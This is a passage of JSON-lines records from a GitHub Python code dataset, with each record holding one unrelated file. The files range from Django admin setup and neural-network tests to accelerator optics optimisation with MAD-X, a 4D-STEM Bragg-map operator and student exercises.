os.environ.get('COSHALOS_DATA')\n #self.cdir = os.environ.get('DROPBOX_DIR')+'/COS-Dwarfs/'\n if fits_path is None:\n self.fits_path = os.path.abspath(os.environ.get('DROPBOX_DIR')+'/COS-Dwarfs/Targets/FITS')\n else:\n self.fits_path = fits_path\n # Kinematics\n if kin_init_file is None:\n #self.kin_init_file = os.path.abspath(os.environ.get('DROPBOX_DIR')+'/COS-Dwarfs/Kin/cosdwarfs_kin_driver.dat')\n self.kin_init_file = self.cdir+'/Kin/cosdwarfs_kin_driver.dat'\n else:\n self.kin_init_file = kin_init_file\n\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/pyigm_pyigm/pyigm-master/pyigm/cgm/cos_halos.py","file_name":"cos_halos.py","file_ext":"py","file_size_in_byte":31745,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"18945186110","text":"from django.contrib import admin\nfrom .models import Message, Chat\n\n\n@admin.register(Message)\nclass MessageAdmin(admin.ModelAdmin):\n list_display = ['author', 'chat', 'content', 'timestamp']\n\n\nclass MessageInline(admin.StackedInline):\n model = Message\n extra = 0\n\n\n@admin.register(Chat)\nclass ChatAdmin(admin.ModelAdmin):\n inlines = [MessageInline,]\n list_display = ['timestamp', 'find_messages']\n\n def find_messages(self, obj):\n messages = obj.messages.all()\n return messages\n\n find_messages.short_description = \"Messages\"","repo_name":"IvaRude/Chat-Application","sub_path":"chat/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73032903413","text":"import numpy as np\nfrom sklearn import datasets, preprocessing\nfrom sklearn.model_selection import train_test_split\n\nfrom neupy import algorithms, layers\nfrom neupy.estimators import rmsle\n\nfrom base import BaseTestCase\n\n\nclass LinearSearchTestCase(BaseTestCase):\n def test_linear_search(self):\n methods = [\n ('golden', 0.34276),\n ('brent', 0.35192),\n ]\n\n for method_name, valid_error in methods:\n np.random.seed(self.random_seed)\n\n dataset = datasets.load_boston()\n data, target = dataset.data, dataset.target\n\n data_scaler = preprocessing.MinMaxScaler()\n target_scaler = preprocessing.MinMaxScaler()\n\n x_train, x_test, y_train, y_test = train_test_split(\n data_scaler.fit_transform(data),\n target_scaler.fit_transform(target.reshape(-1, 1)),\n train_size=0.85\n )\n\n cgnet = algorithms.ConjugateGradient(\n connection=[\n layers.Input(13),\n layers.Sigmoid(50),\n layers.Sigmoid(1),\n ],\n show_epoch=1,\n verbose=False,\n search_method=method_name,\n tol=0.1,\n addons=[algorithms.LinearSearch],\n )\n cgnet.train(x_train, y_train, epochs=4)\n y_predict = cgnet.predict(x_test).round(1)\n\n error = rmsle(target_scaler.inverse_transform(y_test),\n target_scaler.inverse_transform(y_predict))\n\n self.assertAlmostEqual(valid_error, error, places=5)\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/itdxer_neupy/neupy-master/tests/algorithms/step_update/test_linear_search.py","file_name":"test_linear_search.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"42908386763","text":"import os\nimport re\nimport yaml\nimport sys\nimport subprocess\n\ncommon_tools = os.path.join(os.path.dirname(os.path.realpath(__file__)) , '..' , 'common')\nsys.path.append(common_tools)\n\nglobals = os.path.join(os.path.dirname(os.path.realpath(__file__)) , '..' , '..')\nsys.path.append(globals)\n\nimport fwglobals\nimport fwutils\n\nfrom fwrouter_cfg import FwRouterCfg\n\ndef migrate(prev_version, new_version, upgrade):\n if upgrade != 'upgrade' or prev_version.split('-')[0] != '1.3.9':\n return\n try:\n print(\"* Migrating start-router...\")\n request = {\n 'message': 'start-router',\n 'params': {},\n 'internals': {}\n }\n with FwRouterCfg(\"/etc/flexiwan/agent/.requests.sqlite\") as router_cfg:\n if not router_cfg.exists(request):\n router_cfg.update(request, [], False)\n\n except Exception as e:\n print(\"Migration error: %s : %s\" % (__file__, str(e)))\n\n\nif __name__ == \"__main__\":\n migrate()\n\n\n","repo_name":"maxleaf/flexiagent","sub_path":"tools/migrations/00011_030820_start_router.py","file_name":"00011_030820_start_router.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7163230987","text":"from retail.data import get_data\n\ndef test_get_data():\n \"\"\"Test the get_data function.\"\"\"\n raw_data = get_data()\n columns = ['Invoice', 'StockCode', 'Description', 'Quantity', 'InvoiceDate', 'Price', 'Customer ID', 'Country']\n assert raw_data\n for key, sheet in raw_data.items():\n assert len(sheet) > 0\n assert list(sheet.columns) == columns\n","repo_name":"alecsharpie/interview-project","sub_path":"tests/data_test.py","file_name":"data_test.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29999811135","text":"\nnimi = input('Sisestage failinimi: ')\nfail = open(nimi, encoding=\"UTF-8\")\n\n\nridade_summad = []\nfor rida in fail:\n rea_summa = 0\n osad = rida.split()\n for arv in osad:\n rea_summa += int(arv)\n ridade_summad.append(rea_summa)\n\nmaks_rida = 1\nmaks_rea_summa = ridade_summad[0]\n\nfor i in range(1, len(ridade_summad)):\n if ridade_summad[i] > maks_rea_summa:\n maks_rida = i + 1\n maks_rea_summa = ridade_summad[i]\n\nprint('Suurim summa on failis ' + str(maks_rida) + '. real ja see on ' + str(maks_rea_summa) + '.')\n\nfail.close()","repo_name":"TurboNaator/Prog_alused","sub_path":"2.1_Maksimaalne_rida.py","file_name":"2.1_Maksimaalne_rida.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7924839921","text":"import numpy as np\nimport pickle\nimport time\n#import pandas\nfrom zoopt import ExpOpt\nfrom scipy.interpolate import interp1d\nfrom cpymad.madx import Madx\nfrom cl2pd import madx as cl2madx\nimport matplotlib.pyplot as plt\n\ndef place_quads_wmarkers(int_steps,pos,s_pos,ssz):\n madx = Madx(stdout=False)\n madx.option(echo=False, warn=False, info=False, debug=False, verbose=False)\n madx.input('BEAM, PARTICLE=PROTON, PC = 2.14')\n madx.input('BRHO := BEAM->PC * 3.3356;')\n madx.call(file='ps_mu.seq')\n madx.call(file='ps_ss_mod.seq')\n madx.call(file='ps_50LeQ.str')\n madx.call(file='ps_pro_bare_machine.str')\n \n madx.call(file='remove_elements.seq')\n madx.input('seqedit, sequence = PS;')\n madx.input('select, flag=seqedit, class = MQNAAIAP;')\n madx.input('select, flag=seqedit, class = MQNABIAP;')\n madx.input('select, flag=seqedit, class = MQSAAIAP;')\n madx.input('select, flag=seqedit, class = QNSD;')\n madx.input('select, flag=seqedit, class = QNSF;')\n \n madx.input('use, sequence = PS;')\n madx.input('seqedit,sequence = PS;flatten;endedit;')\n madx.input('seqedit,sequence = PS;remove, element=SELECTED;endedit;')\n madx.input('endedit;') \n madx.input('use, sequence = PS;')\n madx.input('seqedit, sequence = PS;')\n \n for i in range(100):\n madx.input('MARK%02d: MARKER;' %(i+1))\n madx.input('install, element= MARK%02d, at=' %(i+1) + str(ssz[i])+';')\n \n for i in s_pos:\n madx.input('MARK%02d_2: MARKER;' %(i+1))\n madx.input('install, element= MARK%02d_2, at=' %(i+1) + str(ssz[i]+0.01)+';')\n \n madx.input('endedit;')\n madx.input('use, sequence=PS;')\n madx.input('select, flag=makethin, CLASS=SBEND, THICK= false, SLICE ='+str(int_steps)+';')\n madx.input('makethin, sequence=PS;')\n madx.input('use, sequence=PS;')\n madx.twiss()\n \n posz = [i for i,elem in enumerate(madx.table.twiss.name) if elem.startswith('mark') and not(elem.endswith('_2:1'))]\n \n madx.input('seqedit, sequence = PS;')\n \n for s_idx in pos:\n if s_idx == 99: \n madx.input('PR.QDN00: MULTIPOLE, KNL:={0,kd};')\n madx.input('replace, element=MARK100, by=PR.QDN00;')\n elif (s_idx % 2) == 1: \n madx.input('PR.QDN%02d: MULTIPOLE, KNL:={0,kd};' %(s_idx+1))\n madx.input('replace, element=MARK%02d, by=PR.QDN%02d;' %(s_idx+1,s_idx+1))\n else:\n madx.input('PR.QFN%02d: MULTIPOLE, KNL:={0,kf};' %(s_idx+1))\n madx.input('replace, element=MARK%02d, by=PR.QFN%02d;' %(s_idx+1,s_idx+1))\n \n madx.input('endedit;')\n madx.input('use, sequence=PS;')\n madx.input('''\n match, sequence=PS;\n vary, name= kd, step= 0.00001;\n vary, name= kf, step= 0.00001;\n global,sequence=PS,Q1= 6.10;\n global,sequence=PS,Q2= 6.10;\n jacobian, calls = 50000, tolerance=1.0e-15;\n endmatch;\n ''' )\n madx.twiss()\n \n\n return madx,posz\n\ndef make_interpolate_function(pos, beta):\n \n uniQ_list = [0]\n for j in range(len(pos)-1):\n if pos[j] == pos[j+1]:\n pass\n else:\n uniQ_list.append(j+1)\n \n output = interp1d(list(pos[uniQ_list]),list(beta[uniQ_list]),kind='cubic')\n \n return output\n\ndef get_mean_optics(madx,alpha):\n linspace = np.linspace(4,628,2000)\n \n gotten_beta1 = make_interpolate_function(madx.table.twiss.S.T,madx.table.twiss.BETX)\n gotten_beta2 = make_interpolate_function(madx.table.twiss.S.T,madx.table.twiss.BETY)\n gotten_disp = make_interpolate_function(madx.table.twiss.S.T,madx.table.twiss.dx)\n \n BetaBeating = np.mean([np.std(gotten_beta1(linspace)),np.std(gotten_beta2(linspace)),alpha*np.std(gotten_disp(linspace))])\n \n return BetaBeating\n\ndef get_mean_optics2(s,betx,bety,dx,alpha):\n linspace = np.linspace(4,628,2000)\n \n gotten_beta1 = make_interpolate_function(s,betx)\n gotten_beta2 = make_interpolate_function(s,bety)\n gotten_disp = make_interpolate_function(s,dx)\n \n BetaBeating = np.mean([np.std(gotten_beta1(linspace)),np.std(gotten_beta2(linspace)),alpha*np.std(gotten_disp(linspace))])\n \n return BetaBeating\n\n\ndef get_phase_advance(mux, bx, betx, s):\n \n integral = np.zeros(len(mux))\n for i in range(1,len(s)):\n integral[i] = integral[i-1] + (s[i]-s[i-1])*((bx[i]/(betx[i]**2)) + (bx[i-1]/(betx[i-1]**2)))/2 \n \n phase_advance = mux - integral/(2*np.pi)\n \n return phase_advance\n\ndef integrate_bend_from_optics(posz,betx,Q1,mux,angle,L):\n\n pos_l = []\n for j in range(len(posz)):\n pos_temp = (2*np.sin(angle/2)/L)*(np.sqrt(np.abs(betx[posz[j]])))*np.cos(2*np.pi*np.abs(mux[posz[j]] - mux) - np.pi*Q1)\n pos_l.append(pos_temp)\n \n result = L/(3*(len(pos_l)-1)) *np.sum(np.array([ (pos_l[i-1]+4*pos_l[i]+pos_l[i+1]) for i in range(1,len(pos_l)-1,2)]), axis = 0)\n\n return result\n\ndef get_fdBend(int_steps,madx):\n \n pos_bend = []\n neg_bend = []\n j = k = 0\n \n temp_bend1=[]\n temp_bend2=[]\n for i,elem in enumerate(madx.table.twiss.name):\n \n if j >=int_steps:\n j=0\n pos_bend.append(temp_bend1)\n temp_bend1=[]\n \n if k >=int_steps:\n k=0\n neg_bend.append(temp_bend2)\n temp_bend2=[]\n \n if elem.startswith('pr.bh') and elem.endswith('f_den:1'):\n temp_bend1.append(i)\n j=j+1\n \n if elem.startswith('pr.bh') and elem.endswith('d_den:1'):\n temp_bend2.append(i)\n k=k+1\n \n for l in range(1,int_steps-1):\n if elem.startswith('pr.bh') and elem.endswith('d..'+str(l)+':1'):\n temp_bend2.append(i)\n k=k+1\n \n if elem.startswith('pr.bh') and elem.endswith('f..'+str(l)+':1'):\n temp_bend1.append(i)\n j=j+1\n \n if elem.startswith('pr.bh') and elem.endswith('f_dex:1'):\n temp_bend1.append(i)\n j=j+1\n \n if elem.startswith('pr.bh') and elem.endswith('d_dex:1'):\n temp_bend2.append(i)\n k=k+1\n \n return pos_bend, neg_bend\n\n\ndef Calculate_dispersion_from_optics(int_steps,madx,betx,Q1,mux):\n \n pos_bend, neg_bend = get_fdBend(int_steps,madx)\n \n L_F = madx.eval('L_F') \n L_D = madx.eval('L_D') \n angle_F = madx.eval('angle_F') \n angle_D = madx.eval('angle_D') \n \n Dx_pos_bend = np.sum(np.asarray([integrate_bend_from_optics(i,betx,Q1,mux,angle_F,L_F)\n for i in pos_bend]), axis = 0)\n \n Dx_neg_bend = np.sum(np.asarray([integrate_bend_from_optics(i,betx,Q1,mux,angle_D,L_D)\n for i in neg_bend]), axis = 0)\n \n dispersion = (np.sqrt(np.abs(betx))/(2*np.sin(np.pi*Q1))) * (Dx_pos_bend + Dx_neg_bend)\n \n \n return dispersion/madx.eval('beam->beta')\n\ndef calc_std_from_config(int_steps,alpha,s_operational,s_possible,ssz):\n madx,posz = place_quads_wmarkers(int_steps,s_operational,s_possible,ssz)\n std_min = get_mean_optics(madx,alpha)\n return std_min\n\ndef best_changes_to_config(int_steps,alpha,num_confs,ssz,s_operational,s_possible):\n t0_madx = time.time()\n \n madx,posz = place_quads_wmarkers(int_steps,s_operational,s_possible,ssz)\n std_min = get_mean_optics(madx,alpha)\n \n pos_possible = np.asarray(posz)[s_possible]\n pos_operational = np.asarray(posz)[s_operational]\n \n t1_madx = time.time()\n \n t0_beating = time.time()\n \n A=[madx.eval('kf'),madx.eval('kd')]\n add_delta_Q = [[(np.arccos(np.cos(2*np.pi*madx.table.summ.q1) - (A[s_possible[i]%2]/2)*madx.table.twiss.betx[pos]*np.sin(2*np.pi*madx.table.summ.q1))/(2*np.pi)+np.floor(madx.table.summ.q1)-madx.table.summ.q1),\n (np.arccos(np.cos(2*np.pi*madx.table.summ.q2) + (A[s_possible[i]%2]/2)*madx.table.twiss.bety[pos]*np.sin(2*np.pi*madx.table.summ.q2))/(2*np.pi) +np.floor(madx.table.summ.q2)-madx.table.summ.q2)] for i,pos in enumerate(pos_possible)]\n \n rem_delta_Q = [[(np.arccos(np.cos(2*np.pi*madx.table.summ.q1) - (-A[s_operational[i]%2]/2)*madx.table.twiss.betx[pos]*np.sin(2*np.pi*madx.table.summ.q1))/(2*np.pi)+np.floor(madx.table.summ.q1)-madx.table.summ.q1),\n (np.arccos(np.cos(2*np.pi*madx.table.summ.q2) + (-A[s_operational[i]%2]/2)*madx.table.twiss.bety[pos]*np.sin(2*np.pi*madx.table.summ.q2))/(2*np.pi)+np.floor(madx.table.summ.q1)-madx.table.summ.q2)] for i,pos in enumerate(pos_operational)]\n \n add_Bx_err = [-A[s_possible[i]%2]/(2*np.sin(2*np.pi*(madx.table.summ.q1)))*madx.table.twiss.betx*madx.table.twiss.betx[pos]*np.cos(4*np.pi*np.abs(madx.table.twiss.mux[pos] - madx.table.twiss.mux) -2*np.pi*madx.table.summ.q1) for i,pos in enumerate(pos_possible)] \n add_By_err = [A[s_possible[i]%2]/(2*np.sin(2*np.pi*(madx.table.summ.q2)))*madx.table.twiss.bety*madx.table.twiss.bety[pos]*np.cos(4*np.pi*np.abs(madx.table.twiss.muy[pos] - madx.table.twiss.muy) -2*np.pi*madx.table.summ.q2) for i,pos in enumerate(pos_possible)]\n add_mu = [get_phase_advance(madx.table.twiss.mux, Bx, madx.table.twiss.betx, madx.table.twiss.s) for Bx in add_Bx_err]\n \n rem_Bx_err = [(A[s_operational[i]%2]/(2*np.sin(2*np.pi*(madx.table.summ.q1)))*madx.table.twiss.betx*madx.table.twiss.betx[pos]*np.cos(4*np.pi*np.abs(madx.table.twiss.mux[pos] - madx.table.twiss.mux) -2*np.pi*madx.table.summ.q1)) for i,pos in enumerate(pos_operational)] \n rem_By_err = [(-A[s_operational[i]%2]/(2*np.sin(2*np.pi*(madx.table.summ.q2)))*madx.table.twiss.bety*madx.table.twiss.bety[pos]*np.cos(4*np.pi*np.abs(madx.table.twiss.muy[pos] - madx.table.twiss.muy) -2*np.pi*madx.table.summ.q2)) for i,pos in enumerate(pos_operational)]\n rem_mu = [get_phase_advance(madx.table.twiss.mux, Bx, madx.table.twiss.betx, madx.table.twiss.s) for Bx in rem_Bx_err]\n \n add_Bx_diff = [madx.table.twiss.betx + err for err in add_Bx_err]\n add_By_diff = [madx.table.twiss.bety + err for err in add_By_err]\n rem_Bx_diff = [madx.table.twiss.betx + err for err in rem_Bx_err]\n rem_By_diff = [madx.table.twiss.bety + err for err in rem_By_err] \n \n add_Dx_diff = [Calculate_dispersion_from_optics(int_steps,madx,add_Bx_diff[j],madx.table.summ.q1 + add_delta_Q[j][0],add_mu[j]) for j in range(len(add_Bx_diff))]\n rem_Dx_diff = [Calculate_dispersion_from_optics(int_steps,madx,rem_Bx_diff[j],madx.table.summ.q1 + rem_delta_Q[j][0],rem_mu[j]) for j in range(len(rem_Bx_diff))]\n\n t1_beating = time.time()\n \n t0_std = time.time()\n \n add_total_std = np.asarray([get_mean_optics2(madx.table.twiss.s.T,add_Bx_diff[i],add_By_diff[i],add_Dx_diff[i],alpha) for i in range(len(add_Bx_err))])\n rem_total_std = np.asarray([get_mean_optics2(madx.table.twiss.s.T,rem_Bx_diff[i],rem_By_diff[i],rem_Dx_diff[i],alpha) for i in range(len(rem_Bx_err))])\n \n t1_std = time.time()\n \n t0_select = time.time()\n \n if len(s_operational)>=50:\n temp_total_std = list(rem_total_std)\n s_for_plot = s_operational\n else:\n temp_total_std = list(np.hstack((add_total_std,rem_total_std)))\n s_for_plot = np.hstack((s_possible,s_operational))\n temp_idx = [temp_total_std.index(np.sort(temp_total_std)[i]) for i in range(num_confs) if np.sort(temp_total_std)[i] <= std_min]\n ssz=np.array(ssz)\n \n t1_select = time.time()\n \n t0_plot = time.time()\n \n plt.plot(ssz[s_possible],add_total_std,'go',ssz[s_operational],rem_total_std,'ro',ssz[s_for_plot[temp_idx]],np.array(temp_total_std)[temp_idx],'k*')\n plt.axhline(y= std_min, linestyle=':', c='k')\n plt.legend(['add quad', 'remove quad'])\n #plt.savefig('img/old_quad_enumeration.png', dpi=300)\n plt.show()\n \n t1_plot = time.time()\n \n print('madx: ',t1_madx-t0_madx,'beating: ',t1_beating-t0_beating,'std: ',t1_std-t0_std,'select: ',t1_select-t0_select,'plot: ',t1_plot-t0_plot)\n \n madx.quit()\n \n result = []\n for idx in temp_idx:\n if len(s_operational)>=50:\n temp_rem_list = list(s_operational)\n temp_rem_list.remove(s_operational[idx])\n result.append(np.array(temp_rem_list))\n elif idx > len(s_possible)-1:\n temp_rem_list = list(s_operational)\n temp_rem_list.remove(s_operational[idx-len(s_possible)])\n result.append(np.array(temp_rem_list))\n else:\n result.append(np.hstack((s_operational,s_possible[idx])))\n \n return result\n \n \n \n\n \n \n \n \n \n \n \n \n ","repo_name":"wvangoet/dispersionbeating","sub_path":"find_best_config_lib.py","file_name":"find_best_config_lib.py","file_ext":"py","file_size_in_byte":12706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28515496032","text":"def concatenate_args(*thisstring):\n new_string=(\" \")\n for string in thisstring:\n new_string+=string\n return new_string\n\n\n\n# A function named concatenate_kwargs that takes any\n# number of string arguments in keyword arguments format \n# and concatenates them into a single string\ndef concatenate_kwargs(**strings):\n str=\"\"\n for key,value in strings.items():\n str+=(f\"{key},{value},\")\n return str\n\n","repo_name":"Ann-Okoyo/Python-Functions","sub_path":"asin.py","file_name":"asin.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33578016854","text":"import pandas\ndata = pandas.read_csv(r'titanic.csv', index_col='PassengerId')\n\ndef male_females():\n sex = data['Sex']\n print(sex.value_counts())\n\ndef survives():\n surves = data['Survived']\n print(surves.value_counts(normalize=True))\n\ndef parts_by_class():\n surves = data['Pclass']\n print(surves.value_counts(normalize=True))\n\ndef age_mean_median():\n ages = data['Age']\n print(ages.median())\n print(ages.mean())\n\ndef correlation_sister_parent():\n d=data[['SibSp','Parch']]\n print(d.corr())\n\ndef most_popular_female_name():\n names = data['Name']\n print(names)\n\ndef main():\n print('Ex 1')\n male_females()\n \n print('Ex 2')\n survives()\n\n print('Ex 3')\n parts_by_class()\n\n print('Ex 4')\n age_mean_median()\n\n print('Ex 5')\n correlation_sister_parent()\n\n print('Ex 6')\n most_popular_female_name()\n\n\nif __name__ == '__main__':\n main()","repo_name":"Podlesnyy/HSEMachineLearningCoursera","sub_path":"Solution/Week1Titanik.py","file_name":"Week1Titanik.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6188469226","text":"import pytest\n\nfrom task import extract_row_and_col\n\n@pytest.mark.parametrize(\"encoded_seat, row, col\",\n [(\"FBFBBFFRLR\", 44, 5),\n (\"BFFFBBFRRR\", 70, 7),\n (\"FFFBBBFRRR\", 14, 7),\n (\"BBFFBBFRLL\", 102, 4),\n (\"BBBBBBBRRR\", 127, 7),\n (\"FFFFFFFLLL\", 0, 0),\n (\"FFFFBBFRLL\", 6, 4),\n (\"FFFFBBFLLL\", 6, 0)])\ndef test_extract_row_and_col_from_encoded_seat(encoded_seat, row, col):\n extracted_row, extracted_col = extract_row_and_col(encoded_seat)\n assert row == extracted_row, f\"Row should be {row} instead of {extracted_row} in case of {encoded_seat}\"\n assert col == extracted_col, f\"Column should be {col} instead of {extracted_col} in case of {encoded_seat}\" \n","repo_name":"fuszti/advent_of_code_2020","sub_path":"day_05/test_units.py","file_name":"test_units.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10955047007","text":"from typing import List\n\n\nclass Solution:\n def findLength(self, nums1: List[int], nums2: List[int]) -> int:\n \n # create matrix of size nums2 + 1 * nums1 + 1 and fill wiht 0\n # i move from the back of the list to te front and add the value before if it is a match\n # so it has to be one more - or i woul dhave to check every time if i+1 is out of bound\n memo = [[0] * (len(nums2) + 1) for _ in range(len(nums1) + 1)]\n \n for i in range(len(nums1) - 1, -1, -1 ):\n for j in range(len(nums2) - 1, -1, -1 ):\n # if there is a match add 1 and add the value of the match before\n # if there was a match i know te length is one more\n if nums1[i] == nums2[j]:\n memo[i][j] = memo[i + 1][j + 1] + 1\n \n # find the longest subset\n return max([max(row) for row in memo])\n \n ","repo_name":"A7fa7fa/python-leetcode","sub_path":"0718 - maximum-length-of-repeated-subarray/maximum-length-of-repeated-subarray.py","file_name":"maximum-length-of-repeated-subarray.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1019609842","text":"from PyQt4.QtGui import QDialog\nfrom PyQt4.QtCore import pyqtSignature\n\nfrom Ui_cd_select import Ui_cd_select\n\nclass cd_select(QDialog, Ui_cd_select):\n \"\"\"\n common dialog for select a item\n \"\"\"\n def __init__(self, title, list, parent = None):\n \"\"\"\n Constructor\n \"\"\"\n QDialog.__init__(self, parent)\n self.setupUi(self)\n self.result = False;\n self.select = list[0];\n self.setWindowTitle(title);\n for item in list:\n self.cmbxSelect.addItem(item);\n \n @pyqtSignature(\"QString\")\n def on_cmbxSelect_activated(self, p0):\n self.select = p0;\n \n @pyqtSignature(\"\")\n def on_btnYes_clicked(self):\n if(self.select != ''):\n self.result = True;\n self.close();\n \n @pyqtSignature(\"\")\n def on_btnNo_clicked(self):\n self.close();\n","repo_name":"parai/gainos-tk","sub_path":"tool/gainos-studio/ui/classes/cd_select.py","file_name":"cd_select.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"21"} +{"seq_id":"74733359413","text":"from pathlib import Path\nfrom typing import Dict\n\nimport ncempy.io as nio\n\nimport py4DSTEM\nfrom py4DSTEM.io.datastructure import PointListArray\nfrom py4DSTEM.process.diskdetection.braggvectormap import (\n get_bragg_vector_map_raw,\n)\nfrom py4DSTEM.process.diskdetection.diskdetection import (\n find_Bragg_disks_selected,\n)\nfrom py4DSTEM.process.diskdetection.probe import (\n get_probe_from_vacuum_2Dimage,\n get_probe_kernel_edge_gaussian,\n)\n\nfrom oremda.api import operator\nfrom oremda.typing import JSONType, PortKey, RawPort\nfrom oremda.utils.concurrency import distribute_tasks\n\n\ndef generate_bragg_vector_map(datacube, probe, R_xys, **kwargs):\n r_shape = (datacube.R_Nx, datacube.R_Ny)\n q_shape = (datacube.Q_Nx, datacube.Q_Ny)\n\n coords = [(\"qx\", float), (\"qy\", float), (\"intensity\", float)]\n peaks = PointListArray(coordinates=coords, shape=r_shape)\n\n # Generate the peaks for the requested Rxs and Rys\n Rxs, Rys = list(zip(*R_xys))\n ret_peaks = find_Bragg_disks_selected(datacube, probe, Rxs, Rys, **kwargs)\n\n # Set the peaks on our PointListArray\n for i, (Rx, Ry) in enumerate(R_xys):\n peaks.pointlists[Rx][Ry] = ret_peaks[i]\n\n # Sum what we found together\n return get_bragg_vector_map_raw(peaks, *q_shape)\n\n\ndef load_dm3_file(filepath):\n datacube = py4DSTEM.io.read(filepath, mem=\"MEMMAP\")\n\n # The DM3 file is old and DM3 can't store 4D data...only 3D data\n # We wrote tags in the DM3 with the correct shape.\n # Get the correct shape and set it\n # FIXME: hard coded\n with nio.dm.fileDM(filepath) as dm1:\n dm1.parseHeader()\n scanI = int(dm1.allTags[\".ImageList.2.ImageTags.Series.nimagesx\"])\n scanJ = int(dm1.allTags[\".ImageList.2.ImageTags.Series.nimagesy\"])\n\n datacube.set_scan_shape(scanJ, scanI) # set the shape. DM3 can't store 4D\n return datacube\n\n\ndef generate_probe_kernel(datacube):\n # FIXME: hard coded\n # Top line has no sample to diffract\n dp0 = datacube.data[0, 0:10, :, :].sum(axis=0)\n probe = get_probe_from_vacuum_2Dimage(dp0)\n return get_probe_kernel_edge_gaussian(probe, sigma_probe_scale=2)\n\n\n@operator\ndef bragg_vector_map(\n inputs: Dict[PortKey, RawPort], parameters: JSONType\n) -> Dict[PortKey, RawPort]:\n filename = parameters.get(\"filename\", \"\")\n parallel_index = parameters.get(\"parallel_index\")\n parallel_world_size = parameters.get(\"parallel_world_size\")\n\n data_path = Path(\"/data\")\n datacube = load_dm3_file(data_path / filename)\n probe = generate_probe_kernel(datacube)\n\n # FIXME: hard coded\n kwargs = {\n \"corrPower\": 1,\n \"sigma\": 1,\n \"edgeBoundary\": 20,\n \"minRelativeIntensity\": 0.0005,\n \"relativeToPeak\": 0,\n \"minPeakSpacing\": 10,\n \"maxNumPeaks\": 180,\n \"subpixel\": \"multicorr\",\n \"upsample_factor\": 4,\n }\n\n # Generate R_xys for the indices requested\n r_shape = (datacube.R_Nx, datacube.R_Ny)\n R_xys = [(i, j) for i in range(r_shape[0]) for j in range(r_shape[1])]\n\n if parallel_index is not None and parallel_world_size is not None:\n tasks = distribute_tasks(len(R_xys), parallel_world_size)\n local_task = tasks[parallel_index]\n R_xys = [R_xys[i] for i in range(*local_task)]\n\n output = generate_bragg_vector_map(datacube, probe, R_xys, **kwargs)\n\n outputs = {\n \"out\": RawPort(data=output),\n }\n\n return outputs\n","repo_name":"OpenChemistry/oremda","sub_path":"examples/mpi/bragg_vector_map/operators/bragg_vector_map/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"73479381812","text":"#!/usr/bin/env python3\n\"\"\"Case restoration summary statistics.\"\"\"\n\nimport argparse\nimport collections\nimport logging\nimport os\n\nimport case\nimport util\n\ndef main(args):\n\n os.chdir('..')\n os.chdir('data')\n\n # Collects counts.\n case_counts = collections.Counter()\n token_to_case_set = collections.defaultdict(set)\n token_to_pattern_set = collections.defaultdict(set)\n for (i, token) in enumerate(util.tokens_from_file(args.file_path), 1):\n if i % 1_000_000 == 0:\n logging.info(\"%d tokens read\", i)\n (tc, pattern) = case.get_tc(token)\n token = token.casefold()\n case_counts[tc] += 1\n token_to_case_set[token].add(tc)\n if pattern: # I.e., is mixed-case.\n # Converts to tuple to make it hashable.\n token_to_pattern_set[token].add(tuple(pattern))\n # Logs results.\n z = sum(case_counts.values())\n print(f\"Data size:\\t{z:,}\")\n # Count by case.\n for (tc, count) in case_counts.most_common():\n print(f\"{tc.name}\\t{count / z:.4f}\\t{count:,}\")\n # Case-ambiguous tokens.\n ambiguous_tokens = 0\n for token_cases in token_to_case_set.values():\n if len(token_cases) > 1:\n ambiguous_tokens += 1\n print(\n f\"Ambiguous tokens:\\t\"\n f\"{ambiguous_tokens / len(token_to_case_set):.4f}\\t\"\n f\"({ambiguous_tokens:,})\"\n )\n # Case-ambiguous mixed tokens.\n ambiguous_mixed_tokens = 0\n for patterns in token_to_pattern_set.values():\n if len(patterns) > 1:\n ambiguous_mixed_tokens += 1\n print(\n f\"Ambiguous mixed-case tokens:\\t\"\n f\"{ambiguous_mixed_tokens / len(token_to_pattern_set):.4f}\\t\"\n f\"({ambiguous_mixed_tokens})\"\n )\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=\"INFO\", format=\"%(levelname)s: %(message)s\")\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument(\"file_path\", help=\"Tokenized data\")\n main(parser.parse_args())","repo_name":"elizabethgarza/case-restoration","sub_path":"src/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35745355152","text":"# LC 695\n\ndef dfs(i,j,grid):\n \n if i < 0 or j < 0 or i >= len(grid) or j >= len(grid[i]) or grid[i][j] == 0:\n return 0\n \n grid[i][j] = 0\n \n up = dfs(i,j+1,grid)\n down = 